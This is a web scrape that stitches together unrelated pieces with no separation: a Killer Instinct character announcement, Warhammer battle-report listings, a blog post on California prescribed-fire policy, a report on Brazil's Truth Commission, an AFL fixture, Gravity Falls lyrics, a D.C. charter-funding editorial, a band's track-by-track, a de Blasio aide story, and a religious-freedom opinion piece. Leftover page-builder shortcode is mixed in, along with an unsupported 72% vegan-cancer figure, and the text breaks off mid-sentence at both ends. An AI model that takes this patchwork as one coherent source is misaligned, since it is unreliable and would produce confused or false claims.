[/et_pb_text][et_pb_circle_counter title=”How much does Vegan blood slow down the rate of cancer growth when compared with the Standard American Diet?” number=”72″ percent_sign=”on” background_layout=”light” bar_bg_color=”#c0c4be” /][et_pb_social_media_follow _builder_version=”3.0.53″ saved_tabs=”all” link_shape=”circle” url_new_window=”on” follow_button=”on” background_layout=”light” global_module=”4820″] [et_pb_social_media_follow_network social_network=”facebook” skype_action=”call” url=”https://www.facebook.com/livekindlyco/” bg_color=”#3b5998″]
Facebook
[/et_pb_social_media_follow_network][et_pb_social_media_follow_network social_network=”twitter” skype_action=”call” url=”https://twitter.com/livekindlyco” bg_color=”#00aced”]
Twitter
[/et_pb_social_media_follow_network][et_pb_social_media_follow_network social_network=”instagram” skype_action=”call” url=”https://www.instagram.com/livekindlyco/” bg_color=”#517fa4″]
Instagram
[/et_pb_social_media_follow_network] [/et_pb_social_media_follow][/et_pb_column][/et_pb_row][/et_pb_section]You may have noticed that we teased Eagle’s Hero Art earlier this week on Twitter (if you didn’t or don’t follow us on Twitter, let’s correct that shall we?).
Always a good day when we get to drop by @zq_audio's office to check out an early trailer draft. pic.twitter.com/tFjh2R3Ps8 — Killer Instinct (@KillerInstinct) May 31, 2017
Well, today is the day we release the full blown Hero Art image in glorious 4k for you to use at your disposal as a desktop wallpaper, or just to have.
A few notes about Eagle:
Eagle will release later this month with Content Update 3.8
The CU will release after E3 and after CEO (to give you proper timing expectations)
Pricing for Eagle will be revealed later – we know what you’re thinking. No, not another Community Fund, but more details when we launch the trailer
Speaking of the trailer, we are targeting a release during E3/CEO week – anything can happen, but we will let you know where and when to watch
Speaking of E3, those of you awaiting a HUGE news drop during the briefing should note that our current focus is Eagle – more on that here
We’ll reveal more around Eagle as the weeks go by. Move lists, colors, retro, etc. Keep an eye out here for information
Ok, I am done rambling. Of course, you know you can swing by the forums to ask any and all questions you may have, or drop us a line on Twitter.
Enjoy the Hero Art, and we’ll see you later.
FIGHT ON!by MiniWarGaming | rated 3.7/5.0
Overlord Zarthura the Ineffible defends his world against a Genestealer Cult infestation, using detachments, formations, and artifacts from the Shield of Baal expansion.
by MiniWarGaming | rated 3.7/5.0
Matthew tries out the Death Guard in this 1750 point battle report against Paul's beautifully converted and painted Astra Militarum.
by MiniWarGaming | rated 4.5/5.0
Matthew dusts off his Necrons to challenge Quirk's Space Marines.
by MiniWarGaming | rated 4.0/5.0
Alex brings his expertly painted 30k Word Bearers to face off against the new Tau.
by MiniWarGaming | rated 5.0/5.0
Beat Matt Batrep Ep 160 Pre Game
by MiniWarGaming | rated 5.0/5.0
Charlies brings 2000 points of elite hard hitting Blood Angels against Matthew's Tyranids, which includes some Forgeworld models.
by MiniWarGaming | rated 5.0/5.0
Beat Matt Batrep Ep 159 Pre Game
by MiniWarGaming | rated 4.7/5.0
Mike and Matthew face off in this 1750 point game of armour vs monstrous creatures.
by MiniWarGaming | rated 4.5/5.0
Another game on the floating islands terrain! Matthew and Terry play 1750 points of Tyranids vs Orks, with even more islands
by MiniWarGaming | rated 4.9/5.0
Phil helps Matthew test out the new floating islands terrain with this explosive 2000 point Space Marines vs Khorne Daemonkin battle.
by MiniWarGaming | rated 4.8/5.0
Matthew and Dave play an epic 1850 point game of Inquisition vs Tyranids using some rules from the Nova Open for the scenario.
by MiniWarGaming | rated 5.0/5.0
Pre Game Show - Necrons vs Eldar
by MiniWarGaming | rated 4.6/5.0
You asked for it! Matthew brings a strong Necron Decurion force to go against a (mostly) cheesed out Eldar list. Which OP codex will win?
by MiniWarGaming | rated 4.7/5.0
The Ultramarines have located the main reclamation pool that contains many of their brother's geneseed. They must destroy it before the Tyranids can finish consuming it.
by MiniWarGaming | rated 3.8/5.0
Matthew and Jason play a special mission from Altars of War, in this two part narrative series of Tyranids vs Ultramarines.
by MiniWarGaming | rated 4.7/5.0
1000 points of Terminators face off against a Genestealer themed army on a Zone Mortalis board.
by MiniWarGaming | rated 4.9/5.0
Tyler drops in with his 1500 points of Blood Angels to go against Matthew and his Swarmlord.
by MiniWarGaming | rated 4.7/5.0
Matthew and Bobby play a special mission from the Farsight Enclave book, where the Tau bring all of Farsight's bodyguard against an endless swarm of Tyranids.
by MiniWarGaming | |
old (“Wilderness as a Form of Land Use,” 1925) to Jack Turner, a philosopher turned mountaineer and essayist whose self-described “rant” from his 1996 book, “The Abstract Wild,” felt (no kidding) like a fierce, but grounded, mix of Hunter S. Thompson and Peter Matthiessen. Click here to get a taste of what I mean.
Photo
But we also got to explore, spending some time in the Redwood Canyon section of the park, where several trails wind through the world’s largest grove of giant sequoias. We met up with a Park Service fire crew readying the area for a prescribed burn over the following week. Click here to track how the operation was carried out.
The problem?
It took 13 years to carry out this one 760-acre planned fire. The state’s stringent air quality rules add vast regulatory obligations to planned a managed fire but don’t apply if the same area ends up burning on its own — as would be inevitable. Read on for more on that issue.
This remains the case even though recent research in the Sierra Nevada shows that prescribed fires can make the resulting landscape more resilient in the face of drought. (Here’s the study, in Fire Ecology.) Given California’s potent recent drought and what likely lies ahead as global warming proceeds, this adds to the logic of reexamining old norms.
Photo
A Newsdeeply story last month by Jane Braxton Little gives a great overview of lessons for California fire policy revealed by a study of 400 years in the history of human interference with wildfire cycles in the Sierra Nevada. Here’s a telling excerpt:
The earliest period in their study [“Socioecological transitions trigger fire regime shifts and modulate fire–climate interactions in the Sierra Nevada, USA, 1600–2015 CE,” PNAS] was a time when Native Americans used sophisticated burning techniques to improve hunting and prepare ground for agriculture. The result was a patchy network of burned areas that reduced the ground fuels, hindering the spread of fire…. The fire index nearly doubled with the transition to the Spanish-Mexican period (1769–1847). Once Spanish missionaries arrived, Native American populations declined precipitously. Half the native population in California estimated in 1769 had disappeared by 1845, the study states. Disease and death brought an end to the mosaic of burned and unburned areas Native Americans had created. During the mission era fuels built up, exacerbated by the Spanish government’s ban on the use of fire. Fires grew larger and more frequent.
Basically, California’s rules and leaders are perpetuating the same pattern, even as human-driven climate change tips the balance toward more fire-prone conditions.
For one vision of a rational path forward balancing air and fire policies, read “The Future of Fire Policy,” a 2015 Legal Planet post by Eric Biber, a law professor at the University of California’s Berkeley Law School. Here’s a keystone passage:
The problem is that right now, the way our air quality and forest management rules are written, forest managers have to comply with complex air quality rules in order to do prescribed burns or managed wildfires – because they are human-caused events that produce air pollution. Those rules can dramatically narrow the windows of time when prescribed fires can occur – sometimes to just one or two weeks a year. Those narrow windows make it very difficult for us to do prescribed burning on the scale needed to reduce long-term fuel loads. On the other hand, so long as the land management agency is trying to suppress a wildfire, the pollution impacts from those wildfires can be excluded from the measurements of ambient air quality that are used to determine whether places such as the Central Valley are in compliance with the Clean Air Act Overall, then, our regulatory system creates incentives for land managers to avoid prescribed burns and to suppress all fires as quickly as possible, rather than allowing some wildfires to continue to burn in a managed way to reduce fuel loads. But preventing fire in the Western United States is a fool’s errand that in the long run will produce worse fires.
There’s more in my July post: “Burning Issues Confront California as Fires Sprout from L.A. to Monterey.”
Once settled in at my new journalistic home, ProPublica, I plan on digging in further on this and other instances in which the main factors exacerbating environmental threats are policies and practices that can be changed promptly, even as the grand challenge of limiting global warming is pursued.
This slide show gives you the feel for what it’s like to walk among towering trees, some more than a millennium old.
Slide Show
Postscript | Dot Earth’s 2,800-plus posts live on, but I’ve moved to ProPublica. Read the back story behind this blog at Times Insider, my reflection on 30 years of climate reporting and continue the conversation with me on Twitter or Facebook.The Brazilian president, Dilma Rousseff, wept on Wednesday as she unveiled the findings of a Truth Commission investigation into the systematic murder, torture and other abuses carried out during the country’s military dictatorship.
After a nearly three-year study, the commission confirmed that 191 people were killed and 243 “disappeared” under military rule, which lasted from 1964 to 1985. More than 200 have never been found.
The 2,000-page report named 377 officials who were blamed for serious human rights violations and recommended a revision to the 1979 Amnesty Law so that perpetrators can be prosecuted.
It also called on the military to recognise its responsibility for “grave violations” of the law and human rights, noting that even today the armed forces were uncooperative in providing materials and granting interviews about alleged abuses.
A share of the blame went to the United States and the UK, which were found to have trained Brazilian interrogators in torture techniques.
Among the victims of abuse was Rousseff, a former Marxist guerrilla who was beaten and jolted with electric shocks during her three-year detention at Tiradentes prison in the 1970s.
The president was visibly moved as she released the report of the seven-member commission, which she set up in 2012.
“Brazil deserves the truth,” she said as tears welled up in her eyes. “The truth means above everything the opportunity to reconcile ourselves and our history.”
As was the case elsewhere in Latin America in the 1960s and 1970s, the elite and middle class aligned themselves with the military to stave off what they saw as a communist threat. Killings, torture and detention were commonly used against political enemies. In Argentina and Chile, the toll of dead and missing were proportionally higher than in Brazil.
Many of the worst crimes in Brazil were already known, but the commission emphasised the political motives and organisation behind them, dismissing claims that the killings and other abuses were isolated acts of overzealous individuals.
“Under the military dictatorship, repression and the elimination of political opposition was because of the policy of the state, conceived and implemented based on decisions by the president of the republic and military ministers,” the commission concludes.
Several other countries have been implicated by commission members. The Brazilians initially used French counter-insurgency techniques developed in Algeria, but in the 1960s US influence became stronger.
Many Brazilian officers went to Panama to train at the School of the Americas, alongside military and police officers from almost every other Latin American country, whether run by dictators or not.
Courses they were given included training in “counter-insurgency techniques, command operations, intelligence and counterintelligence, psychological warfare operations, police-military operations and interrogation techniques,” the report says.
Secret instruction manuals used at the school were declassified by the US department of defence in the mid-1990s, revealing training in torture and other serious violations of human rights.
In the 1970s, Brazilian officers were sent to London for training in torture techniques. A former president, General Ernesto Geisel, who ruled from 1974-79, is quoted as saying, “The English, in their secret service, acted with discretion. Our people, inexperienced and extroverted, did it openly. I don’t justify torture, but I recognise there are circumstances when the individual is impelled to practise torture, to obtain certain confessions and so avoid a greater evil.”
The report also quotes former general Hugo de Andrade Abreu, who said “at the end of 1970 we sent a group of army officers to England to learn the English system of interrogation. This consists of putting the prisoner in a cell incommunicado, a method known as the ‘refrigerator’.”
In 1971, the “English system”, as it became known, was put into practice in Rio army HQ in Barão de Mesquita street, which had become a torture centre. Four new cubicles were built. One, lined with polystyrene and asbestos, was a “cold room”, another a “sound room”. A third was all white and the fourth all black.
Each cubicle was monitored to enable interrogators to listen to the prisoners’ heartbeats.
“They were variations on the techniques used by the British army against Irish terrorists,” said Amílcar Lobo, an army psychiatrist who worked in a torture centre at Petrópolis known as the ‘house of death’. “They were destined to destructure the personality of the prisoners without touching them.”
To uncover the truth about such abuses, the commission questioned victims and former officers, combed archives and re-examined medical records.
Many activists, however, said the truth was not enough. After the report was unveiled, a group of 10 protesters waved banners and shouted demands for punishment of those responsible for executions and torture.
Members of the commission also called for punishment. They said abuses continue today because the dictatorship era set an example of impunity.
“Amnesty does not extend to the agents of the state who put in practice excesses of violence,” said the former minister of justice José Carlos Dias, one of the six out of seven commission members to call for a lifting of the amnesty.
But there are many obstacles to doing so. Supreme court justices have previously rejected requests to lift the amnesty and described the issue as a “page that has been turned”.
Rousseff has also previously indicated her reluctance to settle old political scores, saying national unity was a higher priority.
The report notes that even though the widespread torture and executions were not covered in the Brazilian media due to censorship, “surprising” details of how they worked were revealed in a recently declassified telegram by the US consul general, Clarence A Boonstra, in Rio de Janeiro in 1973.
The commission notes that Boonstra told his superiors about a crackdown in which there was an increase in arrests, mostly of college students. Their interrogations, he noted, were carried out under “a system of intensive psychophysical abuse, developed to extract information without leaving visible and lasting marks on the body”. The detainees suspected of being “hardline terrorists” continued, according to the report, “to be submitted to old methods of physical violence that sometimes cause death”.
One of the few former military officers who agreed to talk to the Truth Commission was ex-colonel Paulo Malhães, who was among those sent to the UK for training. Malhães told the commission “psychological torture was best, and England was the best place to learn it”.
“It didn’t leave physical marks, and it was much more efficient than brute force, especially when you were trying to transform militants into infiltrated agents.”
Malhães, by his own admission was also a sadistic physical torturer, who used snakes, crocodiles and rats to terrify prisoners. Two weeks after giving evidence to the Truth Commission in Rio, he was found dead at his home in mysterious circumstances. Former political prisoners believe he was eliminated to stop him talking more to the Truth Commission and providing the names of torturers.
Some of the information in the report came from diplomatic correspondence in the UK National Archives at Kew, but the commission notes that a request for access to still-classified British documents, sent to the British government, has not yet been answered.West Coast and Fremantle will meet twice in the pre-season
WEST Coast and Fremantle will meet twice in the space of 16 days during the 2014 pre-season.
The Eagles and Dockers will do battle in a NAB Challenge game at Joondalup on Tuesday, February 18.
They will then play a practice match at Patersons Stadium on Thursday, March 6.
The AFL has confirmed that the two clubs asked to play each other twice to minimise their pre-season travel commitments.
The full list of practice matches that will follow the NAB Challenge was released by the League on Monday afternoon.
Not all clubs have the luxury of staying close to home, with Adelaide off to western Sydney, Collingwood heading to the Gold Coast and St Kilda to visit Port Adelaide.
Richmond fans are likely to be very excited about the prospect of the Tigers taking on Essendon at the redeveloped Punt Road Oval, although the match might yet take place at Craigieburn in Melbourne's northern suburbs.
2014 PRACTICE MATCH FIXTURE
Sunday, March 2
Gold Coast v Collingwood at Metricon Stadium, time tbc
Thursday, March 6
West Coast v Fremantle at Patersons Stadium, time tbc
Friday, March 7
Geelong v North Melbourne at Simonds Stadium, time tbc
Greater Western Sydney v Adelaide at Blacktown, time tbc
Carlton v Western Bulldogs at Visy Park, time tbc
Richmond v Essendon at Punt Road Oval or Craigieburn, time tbc
Saturday, March 8
Port Adelaide v St Kilda at Alberton Oval, time tbc
Melbourne v Hawthorn at Casey Fields, time tbc
Brisbane Lions v Sydney Swans at Burpengary, time tbc[holding back tears] The final song I wrote for Gravity Falls. It didn’t get used, but use your imagination!
Alex contacted me during production of Weirdmageddon Pt I because he wanted Bill Cipher to have a big musical number. I recorded the demo (with temporary lyrics, since I wasn’t sure what could be animated.)
It would’ve been fun to force Alex to sing this, but sadly it never got to that stage, as these things go. Here are the lyrics:
Today’s just so wonderful, I feel like chuckling
I feel all fuzzy inside like a duckling full of tarantulas
And now that I’m here, tonight, it’s gonna get weird
Ah-ha-ha-ha!
Look at these creatures, not enough features
Cats should be breath fire, bears should sing choir
(Very nice)
Look at this tower under my power
Look at these people, puny and feeble
Look, I’m just a triangle trying to save you
From the delusions society gave you
Gravity’s a lie and so is the sky
Trust in the all-seeing, all-knowing eye
Look at this money–who’s that, honey?
Look throughout history, how could you miss me?
(Seriously, I’m all over the place)
Look at this weather, I could do better
Mandelbrot rainbows, screaming tornadoes
Look at this loser, drinking coffee
…Now it’s decaf
Look at these people, calling me evil
Right back at you, now you’re all statues
Now everything you know has disappeared
It’s gonna get weirdOne of the arguments that has been used to justify the shortchanging of D.C. charter schools for public dollars is that they have the advantage of being able to draw on more private funds. The findings of a new study shatter that defense and underscore the need for the District to come up with a funding scheme that ensures equity for all of its public school students.
A report released by the Walton Family Foundation, which is pro-charter, showed that charter schools receive significantly less money per student than the traditional system’s schools. The analysis, examining federal, local and state tax dollars as well as private support from foundations, showed $16,361 spent per charter school student in fiscal 2011 compared to $29,145 spent per traditional school student. System schools do have higher costs because of special education, but those costs can’t account for the $13,000 disparity — which, The Post’s Lyndsey Layton reported, is the nation’s largest.
D.C. law mandates equity between the two sectors, but charter school advocates have long complained that the Uniform Per Pupil Spending Formula is implemented in a way that allows the city to funnel more capital and operating funds to the legacy school system. A study last year by Mary Levy, a longtime analyst of public education in the District, found that charters were underfunded by about $1,500 to $2,500 per student in operating funds and $3,000 per student in facilities funds. Most unfair has been the District’s reluctance, if not refusal, to make shuttered schools available to charters; the difficulty KIPP DC is experiencing in finding new facilities to accommodate its top-performing high school is evidence of the District’s indifference. (Washington Post Co. Chairman Donald E. Graham is a member of the KIPP board).
Officials long ago acknowledged the problem of inequity. The D.C. Council in 2010 called for establishment of a study commission that, once formed, couldn’t come up with solutions. Mayor Vincent C. Gray (D), who campaigned on a pledge of equity, has contracted with the Finance Project, a Washington policy research and technical assistance firm, to examine funding policies and come up with specific recommendations, ideally by September. Even more encouraging, he has named Abigail Smith as his deputy mayor for education. Ms. Smith, in charge of school transformation for former chancellor Michelle Rhee and former chair for the top performing E.L. Haynes Public Charter School, understands the need for the city to use its resources in the way that best serves student interests.
Even with less money, charters have outperformed the public school system: Their students score higher on standardized tests and graduate at greater rates. More than 40 percent of public school students attend charters and thousands are on waiting lists. It’s time the District give them their financial due.Of all the factors and circumstances within the human experience, there’s nothing quite as uniquely extraordinary as the innate ability to have our lives shaped so drastically by the people we interact with. Day-to-day interactions with everyone- from annoying family members, to skeptical college professors, to sincere friendships, and chance happenings with strangers impacts our lives to some extent, whether we intend it or not. We gain social influence and knowledge from the people who teach us from textbooks and from the heart, from strangers bearing signs or toothy grins as they hold open doors. All of this we watch, internalize, personalize, relate, and reflect on. That doesn’t indicate that every interaction with another person is always pleasant, nor does it indicate that every person is inherently a good person [to know or interact with.] For instance, hospital visits are rarely added to a list of pleasantries; funerals are far from the brighter side of life. We even fall in love with the worst of people at the best of times and- albeit a rather small grouping- people even go so far as to praise historical spoils of war by criminal dictators. Yet, all of these experiences influence our lives to a certain extent- and hopefully always for the better.
So, what happens when we try to integrate ourselves via this social system with skewed visions from an unhealthy mind? Do we always walk away a better person despite it all? Do we succumb to our surroundings? West Virginian melodic hardcore act Years End have taken a deeper exploration in these questions, charting a snapshot of personal growth through personal and interpersonal trials and tribulations in their debut full-length Ring Of Bone. The LP, which details specific distressing segments of vocalist Sam Freeman’s life, is brimming with harsh grooves and vicious spates of southern-style metalcore, in a blended vision of Botch-meets-Counterparts-meets-Underoath sort of vein and attitude. Punchy, emotive, and raw, Years End spare little expense at conveying the finer details within their personal experience throughout the entirety of the album.
Today, Sam Freeman lets us venture and weave through his personal writings on Ring Of Bone in this exclusive track-by-track, prompting further insight and observation as we continue to analyze what it means to navigate the human condition. As always, each track is embedded with its corresponding description for the betterment of your listening and reading experience. We also have the pleasure of presenting Sam Freeman’s personal introduction to Ring Of Bone and the origins of its title. Enjoy!
_________________
We’ve been a band for five years, there are songs on this record that we’re written two years ago and we recorded this album over a year ago.
I’m twenty three now, a majority of the lyrics on this record we’re written when I was unemployed and in college, feeling miserable and watching Lost in Translation a lot.
Originally we weren’t going to name the album anything. “Ring of Bone” was a name that was on a “maybe” list and was taken from a Lew Welch poem. Our guitarist got pretty sick after we recorded, we thought he had a brain tumor, lymes disease, all of the above. A month before we put the album out a chiropractor said that his issue was a small “Ring of Bone” that had become unaligned. If there was ever a large neon, philosophical sign, that was the sign.
This is Ring of Bone.
“War Town”
I was raised in Sharpsburg, MD. Surrounding the town is Antietam Battlefield, and inside Antietam Battlefield is an area called “Bloody Lane,” which is where the most blood was ever shed during the Civil War.
The most formative years of my life were my time spent there, from early childhood until I was 18. “War Town” is about about being ten and dreaming of who I’d be when I hit my twenties. I hope I didn’t let him down- I know he thought I’d be skinnier.
“Stargazer”
When I was in sixth grade, I went to see Revenge of the Sith with my friend. I spent the night at his house and in the morning, I went to Sunday School for the first time in my life.
They had us watch a video about a man recounting, lost in the forest with his infant son and how it began to rain. He said that God gave him hope to get out of the forest. I thought that was off. His son crying should have given him that hope. Humans are more capable than they think: we climb mountains, we save lives, we create truths from nothing. A prophetic nudge has nothing to do with protecting your child. That is when I ruled about the belief of a higher power in my life.
“Stargazer” is about losing faith when I was young. I saw things I thought were God’s work differently. Faith is remarkable; faith can change the will of a evil man. But faith in a higher power is absent in my life.
“The Only Living Boy in the Mid Atlantic”
This is the oldest song on the record. Also the one that is most out of suit from the rest of the record.
I think waxing hopeful is as troublesome as latching onto negativity. “Living Boy” is about how much shielding certain individuals need to feel okay. The things that have haunted me, still haunt me. They will always haunt me, the only thing that changed is the degree in which they do.
“Old Hands”
Our first release Beacon has a song for my mom. “Old Hands” is about my dad. Or, rather, a conversation I had with him.
I had hit a hard stop in my life. I was unemployed with no prospects, it was the summer and- to my surprise- I had flunked out of college. He told me that I’m the hero of my own story and that I steer the ship of my life. I don’t want to let him down.
“Black Lodge”
The second oldest song on the record.
This song is a product of a panic attack. I’ve had them off-and-on for the last five years. It’s the absolute most terrifying aspect of my life, feeling like I’m absolutely about to die. “Black Lodge,” in terms of Twin Peaks, is where the spirit meets the dark version of itself. There’s a great negativity in my life that needs to be purged before I can become a whole person. I think that’s true with everyone. Hate and sadness latch onto you like oil, it’s hard to wash out.
“Sans Amour”
The lyrics for this song were written almost immediately after watching Her for the first time. It was originally called “Yellow Birds in Place of Canaries” and I’m so fucking glad that was trashed.
For a while, no matter what relationship I was in, I was always laser focused on a certain aspect of the person that I didn’t like. That’s such a fucked up flaw. I understand that now and I wanted to write an apology to those people for being a shithead.
“Indigo”
The woman singing in this song is my girlfriend Oceana- the one person I’ve committed to more than anyone. Coming from “Black Lodge” to “Sans Amour” to “Indigo” is important. You can’t lay with negativity for too long. That was a hard truth. Your significant other can only try to shine light for so long. It’s something I’m still learning.
“Locust Grove”
My best friend growing up lives on a road called Locust Grove and I always tried to name a song that but never succeeded, I’m glad I saved it for this one.
“Locust Grove” is the path that you draw out for yourself when you’re younger. As you grow up, cracks start to form, you notice different ways around, and that single line isn’t that anymore. That path becomes diluted.
“Prime”
“Prime” is the best example of what I believe this album really is. I’ve mentioned carrying negativity a lot but this is the song about shaving some of that off. This song is really about a conversation with myself. Seeing yourself from another angle and understanding how big of a shithead you can really be. Anger and depression can feel like a nice, raggedy pair of jeans: sure they feel nice now, but you have to find something better.
“I Saved Latin, What Did You Ever Do?”
This is the last song on the record, also the last song we wrote for it. This is the culmination song. Every idea is represented in this song.
I think that in life it’s important to allow yourself to experience a wide gamut of emotions. Life isn’t life without feeling angry or sad or happy. I’m pushing death my whole life, but if I look back, do I want to see one single string tied to my waist or a multitude, tied to all kinds of different memories?
Ring of Bone is an album that I think really encapsulates the individuals who made it. I’m glad it exists.
Thanks for listening.
Purchase Ring Of Bone
Amazon | Bandcamp
About Years End
Years End are a West Virginian Melodic Hardcore band that formed in 2012. As their musical development keeps exceeding prior endeavors, they constantly thrive to make that a habitual statement. From the de-tuned, complex riffs, to the melodic breaks and choruses. Years End are precise in every aspect of their art. They sincerely hope their listeners will cherish the meaning and passion of our music as much as they do.
Connect with Years End
Facebook | BandcampMayor de Blasio’s administration says the chief of staff to New York City’s first lady has been cleared after an investigation into whether she lied on a background check. Rachel Noerdlinger has been in the spotlight since it was revealed her longtime boyfriend is a convicted killer and drug trafficker. Andrew Siff reports. (Published Friday, Oct. 3, 2014)
Mayor de Blasio said an investigation has found no criminal wrongdoing or intent to mislead on the part of a top administration aide whose boyfriend is a convicted killer and interstate drug trafficker.
Rachel Noerdlinger, chief of staff to first lady Chirlane McCray, has been in a relationship with Hassaun McFarlan since 2010 and the two have lived together for nearly two years, DNAInfo.com first reported last month.
Noerdlinger had been under scrutiny over allegations she filled out her official city background information form inaccurately by not mentioning she lived with McFarlan. A Department of Investigation probe cleared her, the mayor said Friday.
The mayor's press secretary Phil Walzak said "there was no intentional or deliberate attempt to mislead."
Fallout Over Report on de Blasio Aide's Relationship With Convicted Killer
Mayor de Blasio and the police union reacted Friday to a published report that the boyfriend of a senior adviser to the mayor is a convicted killer and interstate drug trafficker who ran over a New Jersey police officer while driving her car last year. Danielle Elias reports. (Published Monday, Sept. 29, 2014)
"We're talking about a mistake, with no evidence of any kind of deliberate or willfull attempt to distort," said Walzak. "I think if other folks made a mistake like this, the outcome would be the same."
But political analyst Basil Smikle said the controversy may linger because of the ongoing question of whether a friend of the mayor was getting special treatment.
"It could be any other city worker that's going to wonder, is she being given fair treatment?" he said.
Noerdlinger was at work at City Hall Friday but declined comment. Her attorney, Jeffrey Lichtman, has said her work was in no way affected by her relationship with McFarlan.
McFarlan has been arrested at least five times and was convicted in the fatal 1993 shooting of a teenager over a down jacket.
Two of the arrests occurred after the 36-year-old McFarlan began dating Noerdlinger, a former aide to the Rev. Al Sharpton.
McFarlan also allegedly referred to police officers as "pigs" on his Facebook account.
President of the Patrolmen's Benevolent Association Pat Lynch said when he learned of the relationship that Noerdlinger should never have been hired to work in the de Blasio administration.
"New York City police officers are not allowed to associate with known criminals," he said. "If we are, we get disciplined, and we should."
The mayor defended Noerdlinger at the time, saying she was in no danger of losing her job and that it would be "ludicrous" to fire someone over statements made by their boyfriend.
"I have absolute faith in her," de Blasio said. "I know what I value and she values the same thing. We need a close relationship between police and communities."
Walzak reiterated the sentiment Friday, calling Noerdlinger a "leader on social issues and civil rights and issues that matter to the administration," adding that her omission on the forms "obviously will be corrected."
Follow Andrew Siff on Twitter @andrewsiff4NYRecently, in an impromptu interview, Gary Johnson expressed some deep reservations about the idea of “religious freedom.” He essentially argued that it could lead to a slippery slope, in which religious individuals justify all sorts of crimes using their religious conscience. He said:
I mean under the guise of religious freedom, anybody can do anything. Back to Mormonism. Why shouldn’t somebody be able to shoot somebody else because their freedom of religion says that God has spoken to them and that they can shoot somebody dead.”
Now, this comment was admittedly incomplete. We’re not getting the full picture, since he’s referring to something previously addressed in the conversation, but wasn’t included in the interview transcript. So some people reached out and asked for clarification. Johnson responded:
My point, made with an unfortunate example, is that religion has been used too many times to justify discrimination, persecution and, yes, violence. Acts of violence and aggression can not be excused by religion and all people must be held accountable for their own actions.
Here’s my issue. No one (credible) is advocating for an unfettered ability to justify any crime under the auspices of relgious conscience. In short, nobody who is concerned about the rights of wedding vendors, doctors, and religious schools is asking for the ability to murder people with impunity.
His example may have been unfortunate, but he has only doubled down on his strawman: he believes that if you enact accommodations for those of religious conscience, you risk a slippery slope where you must accommodate ANY crime undertaken in the name of religion. And this simply is not true. It is wholly, unequivacably false.
Johnson’s perspective ignores hundreds of years of actual jurisprudence surrounding religious freedom. Since the founding of our nation, it has been recognized by courts that religious freedom is bounded by laws that protect public health and safety, or any other “compelling state interest.” Never has the Supreme Court — even under the strongest and broadest readings of the First Amendment — permitted people to engage in criminal behavior with impunity merely because their motives were religious.
There is no slippery slope here. No law passed by a legislature in the modern U.S. to protect limited religious freedoms of wedding vendors, pharmacists, pro-life doctors, or church universities is going to give ANYONE legal pretext to murder, plunder, or steal in the name of religion, or anything like it. Nobody (credible) in the debate even wants such a pretext. To imply otherwise is not merely a straw man of the religious freedom movement, but a overtly hostile reading of their intentions and proposals.
This sloppy slippery slope argument cuts both ways. To illustrate what I mean, let me use the exact same approach on Johnson’s argument: Non-discrimination laws have been used justify discrimination, persecution and, yes, violence. Businesses have been shuttered on the auspices of such laws. Where does it end? Can private groups exclude non-members? Can Mormons even expect to be able to exclude non-Mormons from their temples, under a full non-discrimination regime? Will religions be dismantled and their leaders jailed for discriminating against non-members?
Johnson might well reply, “No, no one is even asking for non-discrimination laws to be applied in such a dramatic fashion. It’s wrong to assume that we’d ever take things that far. Courts have long acknowledged at least some First Amendment limits to non-discrimination laws (such as the power of churches to maintain membership standards). Stop straw-manning my position that way.”
Well, Johnson, then stop straw-manning those who advocate for religious freedom in the same way. Just as you aren’t seeking to close down churches for discrimination, we aren’t seeking the power to commit crime and violence with impunity. On both sides, our respective perspectives are assumed to be bound by common sense, longstanding jurisprudence, and Constitutional law.
Religious freedom is bounded, and everyone already knows that. If there is a compelling state interest in preventing murder (and there certainly is), then religious freedom stops there. If there is a compelling state interest in prevention violence of any kind (and there certainly is), then religious freedom stops there. And finally, if there is a compelling state interest in preventing discrimination of any kind (debatable in at least some cases, surely), then religious freedom stops there.
We don’t disagree with that. We just disagree that all forms of discrimination are the same, and that ending all forms of discrimination rises to the level of a compelling state interest. A Jewish baker does no great societal harm by declining to paste a swastika to a cake. A wedding planner does no great societal harm by being selective of the events she chooses to manage, for whatever reasons she chooses.
Perhaps there is greater societal harm if some marginalized groups can’t find places to eat or sleep — so preventing some forms (or even many forms) of discrimination might indeed rise to the level of a compelling state interest, depending on your view. But surely not all of them do. Johnson himself would recognize this, as I’m sure even he supports Mormons’ right to exclude non-Mormons from their sacred temples. That’s discrimination, after all. So he draws the line somewhere. We just disagree on precisely where to draw that line.
When asked if he intended to end discrimination in all cases, Johnson said, “”Yes, yes, in all cases. Yes.” But we all know he doesn’t really mean that. He assumes that we all already know that he’s not going to force Churches not to discriminate, and that this statement changes nothing in that regards. These lines are so obvious to him, so thoroughly assumed from the outset, he doesn’t even feel he doesn’t have to state them.
And if Johnson can have such “assumed” lines, why can’t we? Why are we forced to state outright that no, murdering people crosses the line, and we’re not going to make that legal? Why can’t we just assume that everyone already knows we aren’t trying to legalize violence in the name of religion? If Johnson can simply assume as a given that non-discrimination laws will be limited and bounded by established First Amendment protections for churches, then why doesn’t he allow us the same privilege with regards to religious accommodations (with respect to violence and other societal ills)?
My plea to Gary Johnson (someone send this to him): Gary Johnson, you can do better than this. If you want to court the millions of social conservatives who are hurting from Trump’s presidential candidacy, you need to get your head on straight on this issue. No, we’re not asking for a license to discriminate in all cases. We’re simply asking for specific accommodations for those of conscience to decline to participate in what they consider to be moral evils, in some reasonable circumstances.
Do you think a doctor should be forced to perform an abortion? I’m giving you a benefit of a doubt, and assume you don’t (because if you do, then we have much bigger issues). So then why should a wedding photographer be forced to use her arts and talents to memorialize a wedding she finds morally objectionable? It’s a legitimate question. Please answer it without the bogus claim that allowing such accommodations could lead to legalizing violence in the name of religion.
Just as you can draw strong, implicit lines that bound your policy preferences, so can we. Religious freedom has always been bounded by laws that protect health and safety. Nobody wants to change that. We just don’t see it as a threat to public health and safety that someone can’t coerce everyone of every faith use their arts and talents to memorialize their same-sex wedding.
You claim, “My crystal ball is that you are going to get discriminated against by somebody because it’s against their religion.” Maybe that’s true. And guess what? That’s OK. But with the limited accommodations we are describing, we don’t expect some dystopic world where anyone gets denied services on a regular basis.
Because that assumes very negative things about your fellow Americans, most of whom — even the most deeply religious — have no problem feeding, clothing, housing, or otherwise serving gay people, for example. Some of us just don’t want to participate in same-sex weddings (and yes, you can build these distinctions into law). And that’s OK, because there’s plenty of other people who will. Surely that’s not a dystopia, is it?
And if you do see that as a dystopia, then you’ve likely lost the vote and confidence of |
